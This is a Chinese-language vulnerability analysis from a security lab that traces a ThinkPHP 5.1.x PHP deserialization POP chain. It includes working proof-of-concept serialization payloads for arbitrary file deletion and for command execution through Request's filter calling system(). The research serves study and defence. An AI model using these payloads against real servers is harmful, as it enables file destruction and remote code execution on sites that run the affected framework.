作者:Ethan@知道創宇404實驗室
時間:2019年9月21日
前言
今年7月份,ThinkPHP 5.1.x爆出來了一個反序列化漏洞。之前沒有分析過關于ThinkPHP的反序列化漏洞。今天就探討一下ThinkPHP的反序列化問題!
環境搭建
- Thinkphp 5.1.35
- php 7.0.12
漏洞挖掘思路
在剛接觸反序列化漏洞的時候,更多遇到的是在魔術方法中,因此自動調用魔術方法而觸發漏洞。但如果漏洞觸發代碼不在魔法函數中,而在一個類的普通方法中。并且魔法函數通過屬性(對象)調用了一些函數,恰巧在其他的類中有同名的函數(pop鏈)。這時候可以通過尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來。
漏洞分析
首先漏洞的起點為/thinkphp/library/think/process/pipes/Windows.php的__destruct()

__destruct()里面調用了兩個函數,我們跟進removeFiles()函數。
class Windows extends Pipes
{
private $files = [];
....
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
....
}
這里使用了$this->files,而且這里的$files是可控的。所以存在一個任意文件刪除的漏洞。
POC可以這樣構造:
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要刪除文件的路徑'];
}
}
echo base64_encode(serialize(new Windows()));
這里只需要一個反序列化漏洞的觸發點,便可以實現任意文件刪除。
在removeFiles()中使用了file_exists對$filename進行了處理。我們進入file_exists函數可以知道,$filename會被作為字符串處理。

而__toString 當一個對象被反序列化后又被當做字符串使用時會被觸發,我們通過傳入一個對象來觸發__toString 方法。我們全局搜索__toString方法。

我們跟進\thinkphp\library\think\model\concern\Conversion.php的Conversion類的第224行,這里調用了一個toJson()方法。
.....
public function __toString()
{
return $this->toJson();
}
.....
跟進toJson()方法
....
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
....
繼續跟進toArray()方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
.....
// 追加屬性(必須定義獲取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加關聯對象屬性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
.....
我們需要在toArray()函數中尋找一個滿足$可控變量->方法(參數可控)的點,首先,這里調用了一個getRelation方法。我們跟進getRelation(),它位于Attribute類中
....
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
....
由于getRelation()下面的if語句為if (!$relation),所以這里不用理會,返回空即可。然后調用了getAttr方法,我們跟進getAttr方法
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
......
繼續跟進getData方法
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
通過查看getData函數我們可以知道$relation的值為$this->data[$name],需要注意的一點是這里類的定義使用的是Trait而不是class。自 PHP 5.4.0 起,PHP 實現了一種代碼復用的方法,稱為 trait。通過在類中使用use 關鍵字,聲明要組合的Trait名稱。所以,這里類的繼承要使用use關鍵字。然后我們需要找到一個子類同時繼承了Attribute類和Conversion類。
我們可以在\thinkphp\library\think\Model.php中找到這樣一個類
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
.......
我們梳理一下目前我們需要控制的變量
$files位于類Windows$append位于類Conversion$data位于類Attribute
利用鏈如下:

代碼執行點分析
我們現在缺少一個進行代碼執行的點,在這個類中需要沒有visible方法。并且最好存在__call方法,因為__call一般會存在__call_user_func和__call_user_func_array,php代碼執行的終點經常選擇這里。我們不止一次在Thinkphp的rce中見到這兩個方法。可以在/thinkphp/library/think/Request.php,找到一個__call函數。__call 調用不可訪問或不存在的方法時被調用。
......
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
.....
但是這里我們只能控制$args,所以這里很難反序列化成功,但是 $hook這里是可控的,所以我們可以構造一個hook數組"visable"=>"method",但是array_unshift()向數組插入新元素時會將新數組的值將被插入到數組的開頭。這種情況下我們是構造不出可用的payload的。
在Thinkphp的Request類中還有一個功能filter功能,事實上Thinkphp多個RCE都與這個功能有關。我們可以嘗試覆蓋filter的方法去執行代碼。
代碼位于第1456行。
....
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 調用函數或者方法過濾
$value = call_user_func($filter, $value);
}
.....
但這里的$value不可控,所以我們需要找到可以控制$value的點。
....
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 獲取原始數據
return $data;
}
....
// 解析過濾器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢復PHP版本低于 7.1 時 array_walk_recursive 中消耗的內部指針
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
.....
但是input函數的參數不可控,所以我們還得繼續尋找可控點。我們繼續找一個調用input函數的地方。我們找到了param函數。
public function param($name = '', $default = null, $filter = '')
{
......
if (true === $name) {
// 獲取包含文件上傳信息的數組
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
這里仍然是不可控的,所以我們繼續找調用param函數的地方。找到了isAjax函數
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在isAjax函數中,我們可以控制$this->config['var_ajax'],$this->config['var_ajax']可控就意味著param函數中的$name可控。param函數中的$name可控就意味著input函數中的$name可控。
param函數可以獲得$_GET數組并賦值給$this->param。
再回到input函數中
$data = $this->getData($data, $name);
$name的值來自于$this->config['var_ajax'],我們跟進getData函數。
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
這里$data直接等于$data[$val]了
然后跟進getFilter函數
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
這里的$filter來自于this->filter,我們需要定義this->filter為函數名。
我們再來看一下input函數,有這么幾行代碼
....
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
...
這是一個回調函數,跟進filterValue函數。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 調用函數或者方法過濾
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正則過濾
if (!preg_match($filter, $value)) {
// 匹配不成功返回默認值
$value = $default;
break;
}
.......
通過分析我們可以發現filterValue.value的值為第一個通過GET請求的值,而filters.key為GET請求的鍵,并且filters.filters就等于input.filters的值。
我們嘗試構造payload,這里需要namespace定義命名空間
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表單請求類型偽裝變量
'var_method' => '_method',
// 表單ajax偽裝變量
'var_ajax' => '_ajax',
// 表單pjax偽裝變量
'var_pjax' => '_pjax',
// PATHINFO變量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO獲取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默認全局過濾方法 用逗號分隔多個
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理標識
'https_agent_name' => '',
// IP代理獲取標識
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL偽靜態后綴
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
首先自己構造一個利用點,別問我為什么,這個漏洞就是需要后期開發的時候有利用點,才能觸發

我們把payload通過POST傳過去,然后通過GET請求獲取需要執行的命令

執行點如下:

利用鏈如下:

參考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
http://www.f4ckweb.top/index.php/archives/73/
https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1040/